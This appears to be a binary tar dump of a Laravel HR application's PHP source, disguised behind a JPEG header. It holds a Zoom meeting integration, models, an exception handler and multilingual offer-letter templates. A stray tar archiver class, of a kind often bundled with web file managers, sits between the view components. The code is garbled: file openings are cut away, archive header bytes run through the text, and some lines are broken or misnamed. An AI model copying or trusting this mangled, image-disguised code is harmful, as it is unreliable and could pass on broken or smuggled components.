JFIFxxC      C  " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3RbrTraits/ZoomMeetingTrait.php000064400000012771150364306410011776 0ustar00client = new Client(); } private function retrieveZoomUrl() { return $this->meeting_url; } public function toZoomTimeFormat(string $dateTime) { try { $date = new \DateTime($dateTime); return $date->format('Y-m-d\TH:i:s'); } catch (\Exception $e) { Log::error('ZoomJWT->toZoomTimeFormat : ' . $e->getMessage()); return ''; } } public function createmitting($data) { $path = 'users/me/meetings'; $url = $this->retrieveZoomUrl(); $body = [ 'headers' => $this->getHeader(), 'body' => json_encode([ 'topic' => $data['topic'], 'type' => self::MEETING_TYPE_SCHEDULE, 'start_time' => $this->toZoomTimeFormat($data['start_time']), 'duration' => $data['duration'], 'password' => $data['password'], 'agenda' => (!empty($data['agenda'])) ? $data['agenda'] : null, 'timezone' => 'Asia/Kolkata', 'settings' => [ 'host_video' => ($data['host_video'] == "1") ? true : false, 'participant_video' => ($data['participant_video'] == "1") ? true : false, 'waiting_room' => true, ], ]), ]; $response = $this->client->post($url . $path, $body); return [ 'success' => $response->getStatusCode() === 201, 'data' => json_decode($response->getBody(), true), ]; } public function meetingUpdate($id, $data) { $path = 'meetings/' . $id; $url = $this->retrieveZoomUrl(); $body = [ 'headers' => $this->getHeader(), 'body' => json_encode([ 'topic' => $data['topic'], 'type' => self::MEETING_TYPE_SCHEDULE, 'start_time' => $this->toZoomTimeFormat($data['start_time']), 'duration' => $data['duration'], 'agenda' => (!empty($data['agenda'])) ? $data['agenda'] : null, 'timezone' => config('app.timezone'), 'settings' => [ 'host_video' => ($data['host_video'] == "1") ? true : false, 'participant_video' => ($data['participant_video'] == "1") ? true : false, 'waiting_room' => true, ], ]), ]; $response = $this->client->patch($url . $path, $body); return [ 'success' => $response->getStatusCode() === 204, 'data' => json_decode($response->getBody(), true), ]; } public function get($id) { $path = 'meetings/' . $id; $url = $this->retrieveZoomUrl(); $body = [ 'headers' => $this->getHeader(), 'body' => json_encode([]), ]; $response = $this->client->get($url . $path, $body); return [ 'success' => $response->getStatusCode() === 204, 'data' => json_decode($response->getBody(), true), ]; } /** * @param string $id * * @return bool[] */ public function delete($id) { $path = 'meetings/' . $id; $url = $this->retrieveZoomUrl(); $body = [ 'headers' => $this->headers, 'body' => json_encode([]), ]; $response = $this->client->delete($url . $path, $body); return [ 'success' => $response->getStatusCode() === 204, ]; } public function getHeader() { return [ 'Authorization' => 'Bearer ' . $this->getToken(), 'Content-Type' => 'application/json', 'Accept' => 'application/json', ]; } public function getToken() { // Check if Zoom credentials are configured $settings = Utility::settings(\Auth::user()->id); if ( isset($settings['zoom_account_id']) && !empty($settings['zoom_account_id']) && isset($settings['zoom_client_id']) && !empty($settings['zoom_client_id']) && isset($settings['zoom_client_secret']) && !empty($settings['zoom_client_secret']) ) { // Construct the basic authentication header $basicAuthHeader = base64_encode($settings['zoom_client_id'] . ':' . $settings['zoom_client_secret']); // Prepare the request to obtain the access token $response = $this->client->request('POST', 'https://zoom.us/oauth/token', [ 'headers' => [ 'Authorization' => 'Basic ' . $basicAuthHeader, ], 'form_params' => [ 'grant_type' => 'account_credentials', "account_id" => $settings['zoom_account_id'] ], ]); // Decode the response and retrieve the access token $token = json_decode($response->getBody(), true); if (isset($token['access_token'])) { return $token['access_token']; } } return false; } } Traits/ApiResponser.php000064400000002130150364306410011133 0ustar00json([ 'is_success' => true, 'message' => $message, 'data' => $data ], $code); } /** * Return an error JSON response. * * @param string $message * @param int $code * @param array|string|null $data * @return \Illuminate\Http\JsonResponse */ protected function error(string $message = null, int $code, $data = null) { return response()->json([ 'is_success' => false, 'message' => $message, 'data' => $data ], $code); } }Exceptions/Handler.php000064400000002032150364306410010752 0ustar00, \Psr\Log\LogLevel::*> */ protected $levels = [ // ]; /** * A list of the exception types that are not reported. * * @var array> */ protected $dontReport = [ // ]; /** * A list of the inputs that are never flashed to the session on validation exceptions. * * @var array */ protected $dontFlash = [ 'current_password', 'password', 'password_confirmation', ]; /** * Register the exception handling callbacks for the application. * * @return void */ public function register() { $this->reportable(function (Throwable $e) { // }); } } View/Components/AppLayout.php000064400000000464150364306410012240 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>View/Components/GuestLayout.php000064400000000470150364306410012604 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public static $Overtimetype =[ 'fixed'=>'Fixed', 'percentage'=> 'Percentage', ]; } Models/IncomeType.php000064400000000272150364306410010557 0ustar00 'New Monthly Payslip', 'New Announcement' => 'New Announcement', 'New Meeting' => 'New Meeting', 'New Award' => 'New Award', 'New Holidays' => 'New Holidays', 'New Company Policy' => 'New Company Policy', 'New Ticket' => 'New Ticket', 'New Event' => 'New Event', 'New Contract' => 'New Contract', ]; public static $methods = [ 'GET' => 'GET', 'POST' => 'POST', ]; } Models/DucumentUpload.php000064400000000367150364306410011441 0ustar00hasOne('App\Models\LeaveType', 'id', 'leave_type_id'); } public function employees() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/GenerateOfferLetter.php000064400000221247150364306410012406 0ustar00 '-', 'app_name' => '-', 'job_title' => '-', 'job_type' => '-', 'start_date' => '-', 'workplace_location' => '-', 'days_of_week' => '-', 'salary'=>'-', 'salary_type' => '-', 'salary_duration' => '-', 'next_pay_period' => '-', 'offer_expiration_date' => '-', ]; foreach($obj as $key => $val) { $arrValue[$key] = $val; } $settings = Utility::settings(); $arrValue['app_name'] = env('APP_NAME'); return str_replace($arrVariable, array_values($arrValue), $content); } public static function defaultOfferLetter() { $defaultTemplate = [ 'ar' => '

رسالة عرض

عزيزي {applicationant_name} ،

{app_name} متحمس لاصطحابك على متن الطائرة بصفتك {job_title}.

كنت على بعد خطوات قليلة من الشروع في العمل. يرجى أخذ الوقت الكافي لمراجعة عرضنا الرسمي. يتضمن تفاصيل مهمة حول راتبك ومزاياك وبنود وشروط عملك المتوقع مع {app_name}.

{app_name} يقدم {job_type}. المنصب بالنسبة لك كـ {job_title} ، تقديم التقارير إلى [المدير المباشر / المشرف] بدءًا من {start_date} في {workplace_location}. ساعات العمل المتوقعة هي {days_of_week}.

في هذا المنصب ، يعرض عليك {app_name}  {salary}أن تبدأ لك بمعدل دفع {salary_type} لكل {salary_duration}. سوف يتم الدفع لك على أساس.

كجزء من تعويضك ، إذا كان ذلك ممكنًا ، ستصف مكافأتك ومشاركة الأرباح وهيكل العمولة وخيارات الأسهم وقواعد لجنة التعويضات هنا.

بصفتك موظفًا في {app_name} ، ستكون مؤهلاً للحصول على مزايا الاسم المختصر ، مثل التأمين الصحي ، وخطة الأسهم ، والتأمين على الأسنان ، وما إلى ذلك.

الرجاء توضيح موافقتك على هذه البنود وقبول هذا العرض عن طريق التوقيع على هذه الاتفاقية وتأريخها في أو قبل {offer_expiration_date}.

بإخلاص،

{app_name}

', 'da' => '

Tilbudsbrev

Kære {applicant_name}

{app_name} er glade for at få dig med som {job_title}.

Der var kun et par formaliteter fra at komme på arbejde. Tag dig tid til at gennemgå vores formelle tilbud. Den indeholder vigtige oplysninger om din kompensation, fordele og vilkårene og betingelserne for din forventede ansættelse hos {app_name}.

{app_name} tilbyder en {job_type}. stilling til dig som {job_title}, der rapporterer til [nærmeste leder/supervisor] fra og med {start_date} på{workplace_location}. Forventet arbejdstid er {days_of_week}.

I denne stilling tilbyder {app_name} at starte dig med en lønsats på {salary} pr. {salary_type}. Du vil blive betalt på {salary_duration}-basis.

Som en del af din kompensation, du også tilbyder, hvis det er relevant, vil du beskrive din bonus, overskudsdeling, kommissionsstruktur, aktieoptioner og regler for kompensationsudvalget her.

Som ansat hos {app_name} vil du være berettiget til kort navnefordele, såsom sundhedsforsikring, aktieplan, tandforsikring osv.

Angiv venligst din accept af disse vilkår og accepter dette tilbud ved at underskrive og datere denne aftale på eller før {offer_expiration_date}.

Med venlig hilsen

{app_name}

', 'de' => '

Angebotsschreiben

Sehr geehrter {applicant_name},

{app_name} freut sich, Sie als {job_title} an Bord zu holen.

Nur noch wenige Formalitäten bis zur Arbeit. Bitte nehmen Sie sich die Zeit, unser formelles Angebot zu prüfen. Es enthält wichtige Details zu Ihrer Vergütung, Ihren Leistungen und den Bedingungen Ihrer voraussichtlichen Anstellung bei {app_name}.

{app_name} bietet einen {job_type} an. Position für Sie als {job_title}, ab {start_date} am {workplace_location} unterstellt an unmittelbarer Manager/Vorgesetzter. Erwartete Arbeitszeiten sind {days_of_week}.

In dieser Position bietet {app_name} Ihnen an, mit einem Gehaltssatz von {salary} pro {salary_type} zu beginnen. Sie werden auf Basis von {salary_duration} bezahlt.

Als Teil Ihrer Vergütung, die Sie gegebenenfalls auch anbieten, beschreiben Sie hier Ihren Bonus, Ihre Gewinnbeteiligung, Ihre Provisionsstruktur, Ihre Aktienoptionen und die Regeln des Vergütungsausschusses.

Als Mitarbeiter von {app_name} haben Sie Anspruch auf Kurznamenvorteile wie Krankenversicherung, Aktienplan, Zahnversicherung usw.

Bitte erklären Sie Ihr Einverständnis mit diesen Bedingungen und nehmen Sie dieses Angebot an, indem Sie diese Vereinbarung am oder vor dem {offer_expiration_date} unterzeichnen und datieren.

Aufrichtig,

{app_name}

', 'en' => '

Offer Letter

Dear {applicant_name},

{app_name} is excited to bring you on board as {job_title}.

Were just a few formalities away from getting down to work. Please take the time to review our formal offer. It includes important details about your compensation, benefits, and the terms and conditions of your anticipated employment with {app_name}.

{app_name} is offering a {job_type}. position for you as {job_title}, reporting to [immediate manager/supervisor] starting on {start_date} at{workplace_location}. Expected hours of work are{days_of_week}.

In this position, {app_name} is offering to start you at a pay rate of {salary} per {salary_type}. You will be paid on a{salary_duration} basis. 

As part of your compensation, were also offering [if applicable, youll describe your bonus, profit sharing, commission structure, stock options, and compensation committee rules here].

As an employee of {app_name} , you will be eligible for briefly name benefits, such as health insurance, stock plan, dental insurance, etc.

Please indicate your agreement with these terms and accept this offer by signing and dating this agreement on or before {offer_expiration_date}.

Sincerely,

{app_name}

', 'es' => '

Carta de oferta

Estimado {applicant_name},

{app_name} se complace en incorporarlo como {job_title}.

Faltaban sólo unos trámites para ponerse manos a la obra. Tómese el tiempo para revisar nuestra oferta formal. Incluye detalles importantes sobre su compensación, beneficios y los términos y condiciones de su empleo anticipado con {app_name}.

{app_name} está ofreciendo {job_type}. posición para usted como {job_title}, reportando al gerente/supervisor inmediato a partir del {start_date} en {workplace_location}. Las horas de trabajo esperadas son {days_of_week}.

En este puesto, {app_name} te ofrece comenzar con una tarifa de pago de {salary} por {salary_type}. Se le pagará sobre la base de {salary_duration}.

Como parte de su compensación, también ofrecemos, si corresponde, aquí describirá su bonificación, participación en las ganancias, estructura de comisiones, opciones sobre acciones y reglas del comité de compensación.

Como empleado de {app_name}, será elegible para beneficios de nombre breve, como seguro médico, plan de acciones, seguro dental, etc.

Indique su acuerdo con estos términos y acepte esta oferta firmando y fechando este acuerdo el {offer_expiration_date} o antes.

Sinceramente,

{app_name}

', 'fr' => '

Lettre doffre

Cher {applicant_name},

{app_name} est ravi de vous accueillir en tant que {job_title}.

Étaient juste quelques formalités loin de se mettre au travail. Veuillez prendre le temps dexaminer notre offre formelle. Il comprend des détails importants sur votre rémunération, vos avantages et les termes et conditions de votre emploi prévu avec {app_name}.

{app_name} propose un {job_type}. poste pour vous en tant que {job_title}, relevant du directeur/superviseur immédiat à partir du {start_date} à {workplace_location}. Les heures de travail prévues sont de {days_of_week}.

À ce poste, {app_name} vous propose de commencer avec un taux de rémunération de {salary} par {salary_type}. Vous serez payé sur une base de {salary_duration}.

Dans le cadre de votre rémunération, le cas échéant, vous décrivez ici votre bonus, votre participation aux bénéfices, votre structure de commission, vos options sur actions et les règles du comité de rémunération.

En tant quemployé de {app_name}, vous aurez droit à des avantages brièvement nommés, tels que lassurance maladie, le plan dactionnariat, lassurance dentaire, etc.

Veuillez indiquer votre accord avec ces conditions et accepter cette offre en signant et en datant cet accord au plus tard le {offer_expiration_date}.

Sincèrement,

{app_name}

', 'id' => '

Surat penawaran

{applicant_name} yang terhormat,

{app_name} dengan senang hati membawa Anda sebagai {job_title}.

Tinggal beberapa formalitas lagi untuk mulai bekerja. Harap luangkan waktu untuk meninjau penawaran resmi kami. Ini mencakup detail penting tentang kompensasi, tunjangan, serta persyaratan dan ketentuan pekerjaan yang Anda harapkan dengan {app_name}.

{app_name} menawarkan {job_type}. posisi untuk Anda sebagai {job_title}, melapor ke manajer/penyelia langsung mulai {start_date} di{workplace_location}. Jam kerja yang diharapkan adalah{days_of_week}.

Di posisi ini, {app_name} menawarkan untuk memulai Anda dengan tarif pembayaran {salary} per {salary_type}. Anda akan dibayar berdasarkan {salary_duration}.

Sebagai bagian dari kompensasi Anda, yang juga ditawarkan jika berlaku, Anda akan menjelaskan bonus, pembagian keuntungan, struktur komisi, opsi saham, dan aturan komite kompensasi Anda di sini.

Sebagai karyawan {app_name} , Anda akan memenuhi syarat untuk mendapatkan manfaat singkat, seperti asuransi kesehatan, paket saham, asuransi gigi, dll.

Harap tunjukkan persetujuan Anda dengan persyaratan ini dan terima penawaran ini dengan menandatangani dan memberi tanggal pada perjanjian ini pada atau sebelum {offer_expiration_date}.

Sungguh-sungguh,

{app_name}

', 'it' => '

Lettera di offerta

Gentile {nome_richiedente},

{app_name} è entusiasta di portarti a bordo come {job_title}.

Mancavano solo poche formalità per mettersi al lavoro. Per favore, prenditi del tempo per rivedere la nostra offerta formale. Include dettagli importanti sul compenso, i vantaggi e i termini e le condizioni del tuo impiego previsto con {app_name}.

{app_name} offre un {job_type}. posizione per te come {job_title}, riportando al manager/supervisore immediato a partire da {start_date} a {workplace_location}. Lorario di lavoro previsto è di {days_of_week}.

In questa posizione, {app_name} ti offre di iniziare con una paga di {salary} per {salary_type}. Sarai pagato su base {salary_duration}.

Come parte del tuo compenso, se applicabile, descrivi anche il tuo bonus, la partecipazione agli utili, la struttura delle commissioni, le stock option e le regole del comitato di compensazione qui.

In qualità di dipendente di {app_name} , avrai diritto a vantaggi per nomi brevi, come assicurazione sanitaria, piano azionario, assicurazione dentale, ecc.

Indica il tuo accordo con questi termini e accetta questa offerta firmando e datando questo accordo entro il {offer_expiration_date}.

Cordiali saluti,

{app_name}

', 'ja' => '

内定通知

{applicant_name} 様

{app_name} は、あなたを {job_title} として迎えることに興奮しています。

仕事に取り掛かる前に、ほんの少しの手続きがありました。時間をかけて正式なオファーを確認してください。これには、あなたの報酬、福利厚生、および {app_name} での予想される雇用条件に関する重要な詳細が含まれています。

{app_name} が {job_type} を提供しています。 {job_title} として、{start_date} から {workplace_location} の直属のマネージャー/スーパーバイザーに報告します。予想される勤務時間は {days_of_week} です。

このポジションでは、{app_name} は、{salary_type} あたり {salary} の賃金率であなたをスタートさせることを提案しています。 {salary_duration} 単位で支払われます。

報酬の一部として、該当する場合は提供もしていました。ボーナス、利益分配、手数料体系、ストック オプション、および報酬委員会の規則についてここに説明します。

{app_name} の従業員として、健康保険、ストック プラン、歯科保険などの簡単な名前の特典を受ける資格があります。

{offer_expiration_date} 日までに本契約に署名し日付を記入して、これらの条件に同意し、このオファーを受け入れてください。

心から、

{app_name}

', 'nl' => '

Aanbiedingsbrief

Beste {applicant_name},

{app_name} is verheugd je aan boord te mogen verwelkomen als {job_title}.

Waren slechts een paar formaliteiten verwijderd om aan het werk te gaan. Neem de tijd om ons formele aanbod te bekijken. Het bevat belangrijke details over uw vergoeding, voordelen en de voorwaarden van uw verwachte dienstverband bij {app_name}.

{app_name} biedt een {job_type} aan. functie voor jou als {job_title}, rapporterend aan directe manager/supervisor vanaf {start_date} op {workplace_location}. De verwachte werkuren zijn {days_of_week}.

In deze functie biedt {app_name} aan om je te starten tegen een salaris van {salary} per {salary_type}. U wordt betaald op basis van {salary_duration}.

Als onderdeel van uw vergoeding, die u, indien van toepassing, ook aanbiedt, beschrijft u hier uw bonus, winstdeling, commissiestructuur, aandelenopties en regels van het vergoedingscomité.

Als medewerker van {app_name} kom je in aanmerking voor korte naamvoordelen, zoals een ziektekostenverzekering, aandelenplan, tandartsverzekering, enz.

Geef aan dat u akkoord gaat met deze voorwaarden en accepteer deze aanbieding door deze overeenkomst op of vóór {offer_expiration_date} te ondertekenen en te dateren.

Eerlijk,

{app_name}

', 'pl' => '

List ofertowy

Drogi {applicant_name},

{app_name} z radością zaprasza Cię do współpracy jako {job_title}.

Od rozpoczęcia pracy dzieliło mnie tylko kilka formalności. Prosimy o poświęcenie czasu na zapoznanie się z naszą oficjalną ofertą. Zawiera ważne szczegóły dotyczące Twojego wynagrodzenia, świadczeń oraz warunków Twojego przewidywanego zatrudnienia w {app_name}.

{app_name} oferuje {job_type}. stanowisko dla Ciebie jako {job_title}, raportowanie do bezpośredniego przełożonego/przełożonego począwszy od {start_date} w {workplace_location}. Przewidywane godziny pracy to {days_of_week}.

Na tym stanowisku {app_name} oferuje Ci rozpoczęcie pracy za stawkę {salary} za {salary_type}. Otrzymasz zapłatę na podstawie {salary_duration}.

W ramach wynagrodzenia, które oferowaliśmy, jeśli dotyczy, opiszesz tutaj swoją premię, podział zysków, strukturę prowizji, opcje na akcje i zasady komitetu ds. Wynagrodzeń.

Jako pracownik {app_name} będziesz mieć prawo do krótkich imiennych świadczeń, takich jak ubezpieczenie zdrowotne, plan akcji, ubezpieczenie dentystyczne itp.

Zaznacz, że zgadzasz się z tymi warunkami i zaakceptuj tę ofertę, podpisując i datując tę ​​umowę w dniu {offer_expiration_date} lub wcześniej.

Z poważaniem,

{app_name}

', 'pt' => '

Carta de oferta

Prezado {applicant_name},

{app_name} tem o prazer de trazer você a bordo como {job_title}.

Faltavam apenas algumas formalidades para começar a trabalhar. Por favor, reserve um tempo para revisar nossa oferta formal. Ele inclui detalhes importantes sobre sua remuneração, benefícios e os termos e condições de seu emprego previsto com {app_name}.

{app_name} está oferecendo um {job_type}. posição para você como {job_title}, reportando-se ao gerente/supervisor imediato a partir de {start_date} em {workplace_location}. As horas de trabalho previstas são {days_of_week}.

Nesta posição, {app_name} está oferecendo para você começar com uma taxa de pagamento de {salary} por {salary_type}. Você será pago em uma base de {salary_duration}.

Como parte de sua remuneração, também oferecida, se aplicável, você descreverá seu bônus, participação nos lucros, estrutura de comissões, opções de ações e regras do comitê de remuneração aqui.

Como funcionário de {app_name} , você se qualificará para benefícios de nome breve, como seguro saúde, plano de ações, seguro odontológico etc.

Indique sua concordância com estes termos e aceite esta oferta assinando e datando este contrato em ou antes de {offer_expiration_date}.

Sinceramente,

{app_name}

', 'ru' => '

Письмо с предложением

